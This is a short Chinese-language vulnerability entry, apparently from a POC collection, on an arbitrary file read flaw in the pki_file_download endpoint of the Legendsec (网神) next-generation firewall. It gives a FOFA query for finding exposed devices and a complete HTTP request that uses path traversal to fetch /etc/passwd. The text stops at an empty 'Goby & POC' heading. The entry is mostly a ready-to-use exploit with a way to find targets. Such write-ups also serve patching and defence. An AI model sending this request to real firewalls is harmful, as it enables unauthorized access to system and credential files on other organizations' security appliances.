网神下一代极速防火墙 pki_file_download 任意文件读取漏洞

# 网神下一代极速防火墙 pki_file_download 任意文件读取漏洞

## 漏洞描述

网神下一代极速防火墙 pki_file_download 存在任意文件读取漏洞，攻击者可以通过漏洞获取服务器上的任意文件

## 漏洞影响

> [!NOTE]
>
> 网神下一代极速防火墙

## FOFA

> [!NOTE]
>
> app=”网神下一代极速防火墙”

## 漏洞复现

登录页面如下

发送请求包

“`
GET /?g=pki_file_download&filename=../../../../../etc/passwd HTTP/1.1
Host:
Connection: close
sec-ch-ua: ” Not A;Brand”;v=”99″, “Chromium”;v=”90″, “Google Chrome”;v=”90″
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: __s_sessionid__=7rl7vvg1mlc00gf4pfmo74h0t7
“`

## Goby & POC